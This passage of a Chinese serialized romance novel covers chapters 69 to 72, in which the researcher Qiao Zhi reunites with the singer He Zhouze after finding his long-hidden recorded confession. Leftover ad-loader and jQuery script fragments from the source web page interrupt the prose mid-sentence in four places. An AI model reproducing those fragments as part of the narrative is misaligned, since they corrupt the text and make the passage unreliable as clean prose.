不想乔之忽然道:“我下周也要去京市,和温言学姐参加一个颁奖大会。” 此话一出,何舟泽微垂的眉眼又飞舞起来:“你准备待多久?” 问这话的同时,他已经在脑子里快速地将自己下周的行程过了一遍,努力寻找有可能挤出来的空档。 “只是领个奖,可能就一两天。”乔之说道 何舟泽追问:“不打算在京市逛逛吗?难得来一次,多留几天我可以带你去…… ” 乔之见他积极推销京市著名景点的样子,笑出了声:“何舟泽,这么有名的景点你也能去吗?” 他怕不是一到门口就会被粉丝认出来团团围住,最后再次登顶热搜。 他要追求的事业注定和普通人生活背道而驰,这是他必须作出的牺牲。 何舟泽头一次感到遗憾。他喜欢舞台,也想和喜欢的人牵手走在阳光下,但这不可能兼得。 乔之又说:“不过你可以推荐几个小众的地方,我再考虑考虑。” 她分明没说什么特别的,也没有邀请他同游,但何舟泽却被真实地宽慰到了。 他笑说:“没问题。” 饭后何舟泽自觉地去洗碗,乔之坐在沙发上和温言微信聊天。 她还没预定去京市的机票,和温言商量了一下,决定周日上午出发。 【Jo:学姐,你打算在京市待几天?】 【温言:周一领完奖就准备回江临了,怎么了?你是不是想再逛逛?】 乔之抿抿唇,想到何舟泽方才一脸期待的样子,于是打了几个字:【嗯,有这个想法。】 【温言:好可惜,我周二有点事情要办。你在京市有其他朋友吗?我可以帮你多订几天酒店。】 【Jo:那我再看看吧,先按你的安排来。】 乔之在心里犹豫不决,半天没有作出选择。 何舟泽洗好碗,过来问她要不要一起看电影。 最后他们随机选了部叫《诺丁山》的喜剧片,结果正好是一个大明星爱上普通人的爱情故事。 女主角安娜是个好莱坞演员,成名多年,一举一动都在聚光灯下。而男主角威廉只是一家旅行书店的老板,平凡内敛。 某种意义上来说,乔之觉得这像是她和何舟泽的性转。 这个故事很老套——两人意外相遇,一见钟情,最后克服重重阻碍走到一起,真爱无敌——但是却在平淡中显得有些动人。 片尾曲响起,何舟泽双手举起作投降状:“我不是故意要选这部电影的。” 刚才他们的确只是随手一点,大致瞄了眼评分就打开了。 乔之轻笑了声:“我知道。” 两人都沉默了一瞬。 何舟泽问:“乔乔,你会因为对方是公众人物而拒绝一段感情吗?” 他问得很小心,却也很直白。 他们确实曾因相似的原因分开,但乔之真正在乎的并不是被过度关注本身。相反的,她害怕的是被放置在灯光下,却只能做投射出的影子。 她永远支持何舟泽追求自己的音乐事业,无论她是何种身份。 不过现在,她对自己也有了一些信心——在她的领域,她也会成为很好的科学家。就像余惜文院士所鼓励的那样,她会做自己认为正确的事,向前走,不回头。 乔之肯定道:“我不会。” 何舟泽的眼睛亮起,但下一秒乔之却起身离开了位置。 她的声音没有波澜:“我去洗漱,准备睡觉了。晚安。” 似乎还不想让他们的关系更进一步。 何舟泽回道:“好。晚安。” 于他而言,只要有一个确切的答案,无论等多久都没有关系。 乔之离去的脚步飞快。 她的心其实在何舟泽问出那个问题时就已经乱了,她努力表现得很镇定,但深处的那份悸动却骗不了自己。她的确喜欢他,也不在乎他的职业和身份,可是她的心里还掩藏着一份来自过去的忧虑。 她生怕何舟泽再次向她要答案,所以她选择又一次逃开。 这一晚注定不平静。 乔之在床上翻来覆去,凌乱的思绪让她无法入眠。 到了后半夜,酝酿了一整天的雨终于落下,不留余力地砸向窗玻璃。风啸雷鸣,一阵一阵的雷声彻底击碎了黑夜的平静——乔之失眠了。 她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 蹑手蹑脚地走出房间,整间屋子只亮着几处昏黄色的廊灯。 乔之小心地点亮了客厅的落地灯,光晕照亮了半片沙发。她索性将电视调到静音,又打开了一部评分靠前的电影。 何舟泽半夜起身倒水,远远看见沙发上窝着一个熟悉的身影。 他惊讶道:“乔乔?” 乔之转过头来,见是他,轻声解释道:“打雷太吵了,我睡不着。” 何舟泽视线看向电视,上面正放着一部经典电影,竟然是《海上钢琴师》。 主角1900正在游轮上与人斗琴。他的指法极快,一曲完毕,琴弦热得竟能点燃一支香烟——这是电影中最经典的桥段之一。 这不是一部适合静音观看的电影,因为片中的背景音乐与剧情相辅相成。 何舟泽笑问:“你怎么不开声音呢?” “……我怕吵醒你。” 反正这部电影她已经看过很多次,即便没有声音她也能自己想象。 何舟泽跟着坐下,又给她递去毯子的一角。 这张毯子很大,足以包裹住他们两个人,甚至还有空余。 但乔之觉得还是太近了,因为她隐隐能隔着空气感觉到何舟泽的体温——但也有可能只是她的温度骤然升起。 她紧了紧手中抓着的毛毯,没说话。 何舟泽说:“我也睡不着。一起看吧。” 两人并排坐着,安静地看着电影,落地灯在他们身上投下淡淡的影子。 这明明不是一部爱情片,但屋外的电闪雷鸣与房中静谧的氛围竟莫名地撞出了些许暧昧。 电影中,1900在船上对一个女孩一见钟情,背景音乐响起了那首耳熟能详的《playing love》。 情愫汇成的暗流在电影内外涌动。 何舟泽忽然道:“我记得……北街那家咖啡店也很喜欢放这首曲子。” 乔之也想起了他们一起刷夜的那些时光,默默地应了声,没再讲话。 影片放到最后,1900放弃了下船,最终与这艘伴随他成长的游轮一起湮灭在了大海之中。 他终生没有踏足过陆地。 乔之感觉自己的眼睛有些热。 每一次看到这个结局,她心里都是说不出的震动。 何舟泽转过头来看她,问:“ 乔乔……你会下船吗?” 他的话似乎是意有所指。 但是像是怕乔之为难,他又自问自答道:“以前觉得1900是临阵脱逃,现在看来,留在船上何尝不是一种勇敢的选择。”宁愿用生命也要维持精神世界的纯粹。 何舟泽笑了笑,继续说:“不过如果是我,大概还是会下船吧。在没有验证结果以前,我一定会去尝试生命的另一种可能。” 这是何舟泽的人生哲学——他不拒绝任何东西闯入他的世界,也永远有信心保留自己的一方净土。除此以外,他还要走出去,以最积极的姿态去验证每一个可能的答案。 所以无论是事业还是感情,他都要最热烈地燃烧。 “我……”乔之刚说了一个音节,却又生生顿住了。 她还没有想好。 毛毯的一角即将从她的肩头滑落,何舟泽下意识地从她背后伸手去拉。 这个姿势远远看去,就好像他将她抱在怀中。 乔之猛然一抬头,直直地撞上了他的眼睛——那么亮又那么深。 此刻他们的距离近在咫尺,两人的呼吸都快要交融在了一起。 屋外雷声大作,像是此刻他们的心跳,每一声都震天动地。 恍惚间,他们好像都回到了多年前的那个雨夜。 何舟泽动情地微微低头。 然而在他将要吻上她的前一秒,乔之扭过了头。于是他的唇擦过了她微凉的脸颊,在昏暗中微不可察。 乔之低声道:“……对不起,我还没有想好。” 不知是在回答哪一个问题。 70.第七十章 隔天一早,物业发来消息,楼里的用水恢复了。乔之收拾行李准备回去,何舟泽默默开车送她。 谁都没有再提昨夜那个差点落下的吻。 乔之只记得何舟泽最后轻轻抱住了她,柔声道:“没关系。” 他的怀抱和从前一样温暖,乔之都快要守不住防线。 雨一直下到了天明,树叶染上了一层水雾,像是换了身新衣。 路面上处处是积水,何舟泽开得很慢。 两人一路上都在聊一些无关痛痒的话题,但你一言我一语,谁都没让对话落到地上。 等到了乔之家楼下,何舟泽才最后道别:“有事再联系我。嗯……没事也可以找我。” 乔之挥挥手,应了声“好”。 她拖着行李箱上了电梯。到家门口时,她发现电表箱开着,里面放着个快递。 他们这栋楼离快递室远,所以有时她会让快递员送到家门口。若是无人在家,便直接存放在电表箱里。 不过乔之最近没买什么东西,她奇怪地拿起来一看,见寄件人是个英文名。 “Kylie Fung”——看来是Kylie寄还给她的那本书。 国际快递通常要等上十天半个月,这个快递来得迟了一些。乔之本想这几天查一查物流信息,没想到竟已经送来了。 她一进家门就赶不及地先把包裹拆开了。 这本《小妇人》对她来说意义非凡,她要确保这本书还完好无损。 墨绿色的手工书皮有几道折痕,上面用金色签字笔手写的“Little Women”已经有些褪色——一切都和之前一模一样。看来Kylie不小心带走后根本就没动过那些行李,所以原样地给她寄了回来。 这个封皮是乔之大四的时候包上去的,因为原来的封面已经有些破损,她舍不得它掉落,于是在外面另外裹了好几层。 . 那天也是在活动室,何舟泽在试弹刚写好的曲子,乔之在边上默默地包书皮。 当时何舟泽已经正式出道了,但他借口大四下学期开学有毕业相关的事情要处理,开学后在学校待了一个多星期。 事实上,那段时间除了毕业生体检外并没有什么必须本人亲自到场的事情。 乔之后来才意识到,他其实只是想找机会和她待在一起。 乔之给这本饱经风霜的《小妇人》换上了厚厚的新衣时,何舟泽还在进行最后一个段落的试音。 何舟泽看见乔之手掌处不慎染上了金黄色的墨迹。那是他用来签字的笔,干了之后不容易清洗。 他道:“乔乔,我还要一会儿。要不你先去洗个手,回来后我们再一起去吃饭。” 乔之点点头,依言去厕所洗手。签字笔果然很难洗,她的手掌都快被搓红了,才终于看不见那一抹金色。 回去以后,何舟泽心疼地裹住这只被水泡得冰凉的手,然后他们手牵手一起去食堂吃了饭。 那是他们最后一段平和的时光。 不易褪色的签字笔也留不下永恒的笔迹,封面上那几道斑驳就是时间的证明。 乔之摸了摸陈旧的封面,决定把书皮拆下来,再上换一个新的。 “啪嗒——”一张光碟从书皮中滑出,掉落在地。 她疑惑地捡起来,反复看了好几遍,终于在角落里看见了两个小小的字母“Jo”。 乔之从不记得自己有这个东西,更不可能将它包在书皮里。 她那时怕损耗严重,特意裹了好几层封皮。而这本书本来就是精装硬壳封面,所以不拆开根本无法察觉里面还夹了这么一张薄薄的光碟。 抱着强烈的好奇心,她在电脑上打开了这张光碟。 里面只有一个MP3文件——是个几分钟的音频。 乔之戴上耳机,点开文件。 前奏响起的瞬间,她手脚发麻——这是一首她再熟悉不过的歌。就在一个月多前的江临卫视跨年晚会上,何舟泽还唱了这首《不唱情歌》。 她根本不知道这是他什么时候录下来的,更不知道他是何时放进书封里的。 耳机里传来何舟泽特有的声线,他唱着他写给她的第一首情歌。 ——但这是另一个版本的《不唱情歌》。不似第一版是少年藏不住的爱意,也不像后来的深情暗藏。 乔之忽然有想要落泪的冲动。因为耳机里唱着情歌的那个人,似乎想要把自己的真心剖开来,既卑微又动情。 “……此生唯一的篇章,早已在雨中绽放。原来情歌不必唱,你是爱的具象……”唱到这里,何舟泽轻咳了一声,伴奏的吉他音也停下了。 他说:“虽然现在说这些可能已经太晚了,我本以为我可以解决好一切,让你不必为此分心……但是乔乔,我不会为了你放弃音乐。因为你永远都不是一个选项,而是我唯一的答案。” 进度条又滑动了几秒,耳机里许久没有声响。 最后,二十二岁的何舟泽对乔之说:“……但我尊重你的所有决定。乔乔,祝你毕业快乐。希望你有机会听到这首歌的时候,已经过上你想要的生活。” 原来毕业典礼那天,他是想对她说这些。 原来毕业后他来外婆家找她,是想对她说这些。 豆大的泪水从眼眶滑落。 乔之终于听见了这声迟到多年的告白。 当初她包好封皮后就把这本书放在了活动室里,没想到不久后她和何舟泽就分手了,她再也没回过那里。直到毕业离校那天,夏安语托人给她传了个消息,她才找到机会将它取了回来。 她根本没有发现曾经有人偷偷地拆开书皮,将一段心事封存在了里面。 这段音频辗转多年,陪她越过大洋,走过孤独与迷茫,直到现在才顺利传达到她的耳中。 乔之心里的最后一道高墙终于瓦解。 她确信了自己还爱他,也从没怀疑过何舟泽的爱。可是她怕他的爱会有期限,她怕自己在某一天不再是是他的最优选。 这些天她没有再问他当年为什么没有第一时间向她坦白公司的规划,因为他那时的犹豫始终是一根扎在她心中的刺。无论后来的结果如何,她都曾在天平上。 然而她现在才知道 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,二十二岁的何舟泽早已把她当作此生唯一答案。 耳机里的歌在不断重播着,乔之的眼泪已经止不住。 比起感动,她更为错失的这些年而遗憾。 原来她是遗憾的。 - 何舟泽送完乔之后就折回了家。 昨晚他们一起裹过的毯子还散落在沙发上,茶几上有两杯喝剩的水,乔之住过的那个房间还半启着房门。 她只住了两天,却好像处处都留下了她的痕迹。 何舟泽是个很念旧的人,他有很多改不掉的习惯,比如手写歌词,比如收藏老照片。所以年少时爱上的人,他就决定了要爱一生。他从未想过其他任何可能,也从不后悔。 乔之出国的这些年,他既担心她一个人在异国他乡会孤独,又害怕她身边会有新人。等她回国后,他辗转打听,终于确定她也一直是孤身一人,然后他才尝试再次向她靠近。 她办公桌上的那张照片、她还在喝的茶、她看他时的眼神……何舟泽总是在心里暗自庆幸,还好她也没有忘记他,还好她也还喜欢他。 只要乔之肯往前走一小步,他就会走完剩下所有的路程。 何舟泽收起沙发上的毛毯,将其叠成了一个方正的四方块,但很快又把它摊开。 反反复复折腾了许久,他的心比手中的动作还要纷乱。 终于,一通电话解救了他。 但……竟然是乔之。 何舟泽以为她是落下了什么东西,可接起来听见的第一句话就让他呆住了。 她说:“何舟泽,我决定下船了。” 声音很轻,却很坚决。 明明是没头没尾的一句话,但何舟泽瞬间就明白了她的意思。 昨天看《海上钢琴师》时,他问她在面临与主角相似的选择时,她会不会下船。 既有的安祥地与未知的目的地中,她选择了后者——这是她第一次明确地、坚定地走向他。是她主动走向了他。 何舟泽的整颗心都跃动了起来,兴奋得快要冲出胸腔。 他按捺住激动问:“你现在在哪?我去找你。” 那头沉默了片刻,背景音里有风声呼呼,似是在户外。 乔之说:“……不用了。我就在你家门口。” 听见这句话的一瞬间,他的大脑还没来得及反应,身体已经自然地完成了动作。 何舟泽木然地打开大门,刚刚分别的那个人扑进了他的怀中。 厚重的房门在同一刻自动合上,“砰”一声巨响。他的心里也有什么东西跟着炸开了,刹那间就填满了整个心房。 “你……你怎么……”他已经变得语无伦次,“你怎么突然来了?” 分明昨夜她还避开了他的吻,他的爱无处停泊。 她那时分明还没有想好。 何舟泽不知道这短短半天时间,是什么促成了她的转变。 然后,他听见乔之闷声说:“你夹在书里的光碟……我终于听到了。” 她环住他的动作是那么用力,生怕又有什么东西从空隙里溜走,一别多年。 71.第七十一章 穿着学士服的毕业生们从操场各个入口鱼贯而出,这一刻他们真正结束了为期四年的短暂旅程。 如果不是飞机晚点,何舟泽此刻也应该是其中一员。 操场上人来人往,合照的、道别的、相拥的……所有人都混作一团,除了绶带颜色外,几乎分不出谁是谁。 何舟泽随口拉住了身边的人,礼貌问道:“同学,请问你知道海洋学院在哪个方位吗?” 他想去找乔之。 被拉住的同学奇怪地看了一眼身前这个压低帽檐的男生,又见他脖子上挂了个单反,只当何舟泽是被谁叫来拍照的摄影师,没看出他的身份。 许是着急赶路,同学随手指了个方向:“大概在那边吧?我也不太清楚,你再问问别人。” “好。谢谢……”道谢的话音尚未落下,何舟泽就看见了那个他思念数月的人。 就在不远处,乔之正接过同学递来的一束鲜花。 半个小时前,乔之作为毕业生代表上台发言。何舟泽在学校官微的现场动态里刷到了她的照片。她的脸上挂着淡淡的笑,但眼睛里盛满了光亮,与几个月前全然不同。 ——她是那么耀眼,披着光辉就要走向更灿烂的明天。 何舟泽顿住了脚步,在看见她的瞬间就丧失了全部勇气。 他应该说些什么呢?她已经明说了他们的关系只会彼此耽误。 泪意上涌。 现在的他前途未卜,连能不能继续唱下去都是未知数,似乎已经没有资格再站在她的身边。 何舟泽举起相机,将心意封存在了一张无人知晓的相片里,随后便转身离去。 他的大学生活也在今天结束了,以后大概很难再有机会回来。 何舟泽漫无目的地在校园里散步,无意间走到了小剧场楼下——这个地方是他追求音乐的起点,也承载了他和乔之之间无数珍贵的回忆。 何舟泽沉默地走上了三楼。 大概是都去围观毕业典礼了,小剧场很安静。三楼的走廊里透进金黄色的阳光,微尘在光晕里飞舞。 何舟泽推开活动室的门,他用过的那些乐器还在原位,但这个地方很快就要易主。 他沉默地翻看着窗台上的废稿,竟意外地找到了一本小说。 Little Women——这是乔之的书。 她细心地套上了书皮,封面上用金色的签字笔写下漂亮的花体字。 乔之向来很宝贝这本书,不知何故将其遗落在此。 明明有一个现成的合理借口,但何舟泽还是选择给夏安语发了一条消息:【乔之落了一本书在活动室,麻烦你告诉她一声。】 他知道乔之已经把乐队所有人的联系方式都删除了,但夏安语和她住一栋宿舍楼,或许会有办法联系上她。 他犹豫了片刻,终于从书包里取出一张光碟,藏进了墨绿色的封皮里。 何舟泽想,或许有一天,她会发现光盘里的秘密。 也许是明天,也许是永远。 时间艰难前行着,何舟泽从二十二岁即将走向二十九岁。 这一天,乔之对他说:“你夹在书里的光碟……我终于听到了。” ——原来要七年。 何舟泽听到这句话的时候,顿时僵住了:“……你说什么?” 乔之抬头看他,眼圈已经泛红:“我听到了,那首歌、那些话。对不起……我迟到了。” 何舟泽紧紧圈住她,欣喜、惊讶、遗憾、悲伤……所有情绪翻涌成海,像是一道解不开的复杂谜题。 他的声音有些抖:“没有……没关系,什么时候都不迟。” 何舟泽低头吻了吻乔之脸颊上流淌的泪水,然后轻柔地覆上了她的嘴唇。 只要她来,他的世界永远敞开大门 。 - V站年度颁奖大会在京市举行,众多优秀创作者汇聚一堂。 今年V站推出了一个全新的奖项——“年度最具社会影响力”,作为鼓励自媒体面向大众、担当社会责任的一个标志,其意义不言而喻。 主持人公布获奖者是科普区的博主“东方泡泡”,台下的众人都不意外。 “东方泡泡”是温言的网名,她本来就是科普区的大博主,更别说前几个月那一系列抵制动物表演的视频不仅引起了社会广泛关注,还切实推动了江临市海洋馆放生海豚的行动。 所以这个奖项可谓是实至名归。 不过比起温言本人,许多人的关注点都在她的合作者身上,听说那位才是推动事件的关键人物。 “乔老师您好,我是Firesquid,也是科普区的。”一个年轻女人上前主动和乔之搭话,“我在现实中是深州动保中心的工作人员,关注动物表演这个事儿也有好几年了,但一直没能把这个事情宣传出去。这次你和泡泡真是做了件大事,看到江临那边松口,我们中心都激动了好一阵。” 寒暄了几句,女人才说明来意:“不知道能不能要个联系方式?深州这边也有不少动物表演,除了海豚之外,还有海狮、白鲸,中心有意推动野生放流,但遇到了很多阻力,所以想向您请教一二。” Firesquid这一番话让乔之隐隐有些激动,有东州的成功在前,又有江临事件的鼓动,这段时间确实有越来越多人关注到动物表演的危害。如果深州也能加入野生放流的尝试,那国内野生动物保护无疑会上一个新台阶。 这才是她一直所期盼的,也是她这些时日努力的意义所在。 乔之和她交换了联系方式,答应会提供一些力所能及的帮助。 转眼,颁奖大会到了尾声。温言急着赶着晚上的飞机回江临,她隔日还有事情要办。 “你打算在京市玩几天?有人陪你吗?”温言提着一早就收拾的行李准备叫车。 这个时间和地点都颇为尴尬,车源紧张,温言看着近百的排队序列连连叹气。 “还不确定……有人陪的。”乔之低头回了条微信,又拉住温言道,“这里不好打车,何舟泽说他可以送你。” 那天之后,她和何舟泽重新确定了关系。眼下正是放寒假的时候,乔之在江临没什么别的事,于是抵不住何舟泽的纠缠,答应了来京市陪他。 何舟泽要参与春晚录制,而乔之也没有其他家人,两人在一起至少没那么孤独,所以她没有买返程票。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 听见这个名字,温言的眉毛意外地跳了跳:“何舟泽?” 随即她压低声音道:“……你留下来是为了他吗?你们和好了?” 乔之没说话,只轻轻“嗯”了声便撇过头,不好意思对上温言那火辣辣的拷问眼神。 不过她这个反应足以说明了一切,温言了然地一笑:“有人接送当然好哇!替我谢谢他!” 所幸何舟泽恰好离得不远,乔之刚应付了两轮八卦就得以解脱。 温言也有很久没见过何舟泽了,不过为人一向活络,大大咧咧地就拎着行李上了车,丝毫不见羞赧。 她开口就是一句调侃:“大明星,好久不见!听说你最近情场得意,可喜可贺。” 何舟泽见乔之战术性沉默,就知道她肯定被温言调侃过一番了。不过他近来的确是“春风得意马蹄疾”,谁见了都知道他心情舒畅。 他笑着应道:“谢谢学姐。希望明年能喝上你和邵哥的喜酒。” 温言和邵明喻谈了十年恋爱,几个月前才刚刚领证,眼下她着急回江临正是为了筹备婚礼。 她轻叹道:“婚礼真是太麻烦了,要不是父母坚持,我俩都不想办了。” 说话的时候,她眼中的幸福未减,这像是个甜蜜的烦恼。 乔之的交际圈不大,身边熟悉的朋友几乎都还没结婚,所以竟是一次婚礼也没参加过。 她好奇地问:“日期已经定下来了吗?” 温言道:“暂定年后,到时候你们俩有空都来给我撑撑场子!” 何舟泽很给面子地说:“没问题,你们的婚礼我一定到场。” 除了乐队的几个人,他和音乐社其他人大多已经没什么交集,但和温言与邵明喻还保持着一定的联系。虽然他们俩比他大三届,但当初在校的时候他颇受他们的照拂,所以关系很要好。 温言笑说:“行啊。等你俩结婚了,我也一定会去捧场。” 她这话一出,车里的另外两人都不约而同地沉默了。 乔之与何舟泽重修旧好的时候,从未想过结婚这件事。对她来说,组建家庭还太过遥远,也很陌生。 似乎是看出了她的神情变化,何舟泽先一步打了个圆场:“好啊。不过还没那么快。” 温言本来就是随口一提,何况乔之和何舟泽都在事业上升期,没那么早定下来是常事,所以她三言两语就岔开到了别的话题。 几人聊了一路,终于挤过拥堵的车流,将温言按时送到了机场。 返程的路上,乔之想到刚才的话题,犹豫了许久才开口:“何舟泽,我还没有结婚的打算。” 见何舟泽半晌未说话,她又轻声道:“对不起,我没有在在一起前就和你说清楚这件事。如果你想要快点进入人生的下一阶段,那我可能……” 话还没说完,就听见何舟泽笑了声:“乔乔,我只想过有你的人生。” 他正色道:“所以,无论你想不想结婚、想要什么时候结婚都没关系。只要是你,我都可以。” 乔之怔了怔,内心满是感动。 于她而言,这句话比任何情话都要动听。昔日的少年终于成长为了一个真正理解、尊重和爱护她的人。 72.第七十二章 京市作为首都,有不胜枚举的名胜古迹和旅游景点,但乔之此前只因工作来过几次,从来没有好好逛过。何舟泽倒是自出道后就一直住在京市,名下有几套房产,算得上是半个常驻民。 年前这段时间,何舟泽除了参加春晚彩排外没有其他工作安排,于是他带乔之逛了不少地方。许是因为他避开了人流量高的时间点,这么多天竟都没被人认出来。 不过方鸣还是操碎了心,时刻紧盯着热搜,生怕他又被送上头条。 “你俩今天是在景澜路那边吗?”方鸣攥着手机问道。 刚刚有个认识的媒体朋友发来一张照片,上面一男一女像极了何舟泽和乔之。不过只是个侧脸,又都戴了帽子和口罩,连方鸣都不确定身份。 他问:“你今天穿什么颜色的衣服?” 何舟泽正开着车,这通电话连了车载蓝牙,是外放的。坐在副驾的乔之也听到了方鸣的话,不由得提起了心,怕他俩又被狗仔拍到。 上次在医院被拍还有可解释的余地,况且那时他们确实还没在一起,但眼下恋情是实打实的。 何舟泽倒是语气轻松:“墨绿色的外套。怎么,被拍到了?” 方鸣看着屏幕中穿黑色大衣的男人,舒了一口气:“没事,不是你。他们看错了。” 说这话的同时,他赶紧发了条消息过去澄清身份。 方鸣又问了句:“年三十那天要去我家吃饭吗?” 他是京市人,家人都在本地。往年碰上何舟泽因工作回不去的情况,他就会把他一起叫上吃年夜饭。两人相识多年,又一起携手走过低谷期,交情颇深。 碰上个红灯,何舟泽在斑马线前停下来,转过头看着乔之,指了指中台的屏幕。 他做了个口型:“你想去吗?” 乔之和方鸣算不上很熟,除夕夜毕竟是个特殊的时间点,她一个陌生人不好意思去参加别人的家宴。 于是她摇摇头:“……我就不去了。” 那边似乎听到了乔之的声音,意识到她也在一旁,立马道:“乔老师,我家年夜饭就只有我父母和老婆小孩,人不多。欢迎你来!” 乔之倒是没想到方鸣已经结婚生子,毕竟看他一年到头都跟着何舟泽在外跑,不像是成了家的人。 不过她还是婉拒道:“还是不了……” 大概是见她不知如何回绝,何舟泽接道:“那天我和乔乔过二人世界,你们好好吃吧。我给叔叔阿姨拜个早年,有机会再去看他们!” 说罢,他干脆利落地挂了电话:“我开车呢,先挂了。” 这会儿刚好红灯转绿,何舟泽笑道:“方鸣是自己人,拒绝他不是什么大事。” 乔之看上去冷淡疏离,实际上很好说话,多推拉几回就拒绝不了人。她仅有几次的决绝似乎都用在了他身上。 开过路口,成排的灰黄色高楼映入眼帘。楼与楼之间排列密集,每一层都被切割成了无数狭窄的方格,看得人头皮发麻。 阳台上晾晒着各式的衣服,随风飘动的时候成为了这个地方唯一的生机——这里应该是个小区。 “啊……”何舟泽轻呼了一声,“毕业那年我就住在这里,这个地方好像一直没什么变化。” 乔之闻言转头,隔着窗玻璃望着不远处的高楼,忽然想起来这是京市有名的群租房。 这个小区凭借着便利的交通和相对低廉的价格成为无数京漂的首选,在全国范围内都很有名。 “嗯……?”听到他也曾住在这儿,乔之不由得有些吃惊。 何舟泽的家境不错,从来都是拿着天之骄子的剧本,几乎没吃过什么苦。这里的居住条件可算不上好,而且大多是窄小的隔断房。 见她惊讶的反应,何舟泽笑了声:“你想去看看吗?我之前住的地方。” 最后乔之稀里糊涂地就跟着他进了小区。 走廊里飘着一股干冷的霉味儿,何舟泽在一扇青绿色的门前停下,转开钥匙后用了些力气才推开门。 前几年他成名后,花了点工夫把这个地方买了下来,算作是在这个城市打拼的一个纪念。 乔之再度被震惊了。因为这儿甚至还不是一般的房型,而是一个狭小的半地下室。 “……你怎么会住在这儿?” 何舟泽关上那扇吱呀作响的门,用手了比了个位置道:“我之前住的只有这儿的三分之一呢。原来这儿被分成了三个隔断房,晚上睡觉的时候甚至能听见隔壁的说话声。所以我只能趁他们不在家偷偷唱歌,否则就会被投诉。” 乔之跟着环视了一圈房间布局,发现果然只有东侧摆了一张桌子和一张小床。一长一短的两个方形,组成了何舟泽最初的生活全景。 夏安语曾和她说的“何舟泽有上顿没下顿”的日子忽然就具象化了。 或许那时他服从公司的安排,就不至于沦落至此。但是他还是坚持那么做了,即便她和他已经分手。 何舟泽走到床边,指了指天花板上快要脱落的墙皮,说道:“以前这个地方还常常漏水,有时候醒来会发现自己的衣服湿了大半。” 他转过身,面上挂着笑,似乎是在诉说别人的经历。 地下室的楼高不过两米出头,何舟泽站在那儿,似乎真是个顶天立地的巨人。 乔之上前轻轻抱住了他,低声道:“你那时候一定很辛苦吧。” 在不见天日的地下室,在转身都困难的方圆里,他连放声唱歌、诉苦都不能够。而那时候,她甚至也不在他的身边。 何舟泽拍拍她的后背,像是在反过来宽慰她。 但是他的声音却更低了几分:“比起这个城市里无数其他打拼漂泊的人,我已经很幸运了。不过那时我确实过得有点艰难……” “那年冬天,我爸爸中风病倒了,我妈一个人勉力支撑着家里的生意。以前他们总为我骄傲,直到那时我才真切地感觉到自己的渺小和无能。” 他只会写几首不入流的歌,却在朝夕间就必须长大。 京市的寒冬难耐,他只能自己为自己冲撞出一条路。 “其实我并没有一直顺风顺水,这些年也见过很多人、很多事。”何舟泽抱紧了她,“所以乔乔,你有什么顾虑和困恼都可以放心告诉我,我会努力去理解。我已经不是那个不谙世事的毛头小子了。” - 年三十晚上八点,春节联欢晚会准时开始。 何舟泽这套房子是高楼平层,比江临那套别墅要小一些,所以乔之将电视音量开得很大,顷刻间整间屋子似乎都染上了闹腾腾的喜气。 何舟泽的节目就在开场第二个,与另外两位歌手一起合唱了一首合家欢歌曲。 乔之听说他的歌迷横跨多个年龄段,现在看来倒是能理解为什么了。电视屏幕上的他穿着红色西装,眉眼带笑,举手投足皆是从容大气,完全就是父母辈会喜欢的样子。 这个喜气洋洋的舞台刚结束没多久,何舟泽就上了热搜,足以见其人气之高。 同一时间,他给乔之发来了一条微信。 【H:待会儿还有两个采访,结束了我就回来陪你。】 乔之回了个“好”,继续浏览着微博上的内容,偷偷存了好几张图。 果然他还是一如既往地受欢迎。 其实乔之在国外那几年偶尔也看春晚,何舟泽连着参加了好几届,她身边不关注娱乐圈的朋友都对他很眼熟。 那天从地下室 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 回来后,晚上何舟泽抱着她睡觉。 黑暗中他在她耳边轻声道:“最苦的时候确实很难熬,但每当我坚持不下去时就会想起你。那时,我想写出好的作品、站上更大的舞台,或许这样你就不会忘了我。” 所以,他们失去联系的这些年,他一直都在她能看见的地方,从未真正离开过她的世界。 电视上的节目轮番过去,播到了一个相声节目。做捧哏的小伙子是个生面孔,看起来有些紧张。 她不禁开始回忆起,几年前何舟泽初上春晚时的情形。 他似乎毫不怯场,就和过去每一次登台演出一样。他天生就属于舞台。 相声演员们恰好抛了一个梗,乔之跟着笑了声,顺手打开手机看了眼时间。 已经快过去一个小时了,何舟泽还没到家。 乔之正打算打个电话问一声,玄关处传开了开锁的声音。 “乔乔,我回来了!”男人开门的瞬间带进来一阵寒气,但他的声音里却不见严冬的端倪。 何舟泽一手拎着一个保温袋,另一边反手转上门锁:“我绕道去取了份晚餐,你等很久了吗?” 他说着话,低头凑近了乔之,偷吻了她的脸颊。他脸上还带着妆,眉眼比往日更深邃,唇红齿白得格外醒目。他的嘴唇很凉,刺得乔之一怔。 她伸手推开他,撇头道:“你快去洗手。” 何舟泽将餐食放在桌上,笑嘻嘻地进了房间。 乔之正摆着餐,何舟泽不知何时卸好妆又换了身家居服。他从背后环抱住她,下巴正好抵在她的颈窝,毛茸茸的脑袋蹭得她有些痒。 何舟泽低声道:“好想你。” 乔之转了个身,笑着看他说:“明明早上才分开,最近不是天天在一起吗?” “今天可是除夕——”何舟泽低头飞快地在她唇上啄了一下,语气里带了点撒娇的意味,“少一秒我都觉得很可惜。” 他刚洗过脸,额前的碎发沾了水,末梢是湿漉漉的一缕缕,悬挂在眉尾处。乔之觉得他这个样子格外蛊惑人心,忍不住亲了亲他的眼睛。 背景音里传来闹腾腾的合唱声,桌上的饭菜正冒着热气。但此刻两人眼神之间的几寸空间里却是万籁俱寂,连空气都变得紧张无比。 乔之乍然感到有些羞赧,侧头避开何舟泽的视线:“……快吃饭吧。” 何舟泽见她的反应,忽然觉得有些可爱。 他存了心要逗她,故意将她的头扭回来,眼底带笑道:“等等。”然后他低下头,轻轻咬住了她的那双薄唇。 两人没亲太久,但分开的时候乔之已然觉得难以呼吸。 两人约好了要等何舟泽录完节目后一起补一顿正经的年夜饭,所以白天都没怎么吃东西。 乔之有些力竭,她靠在何舟泽的胸前,喘息道:“别怪你……饭菜都要凉了。” 何舟泽笑着摸了摸她的头,没再折腾她,老老实实地将摆到一半的饭菜布置好。 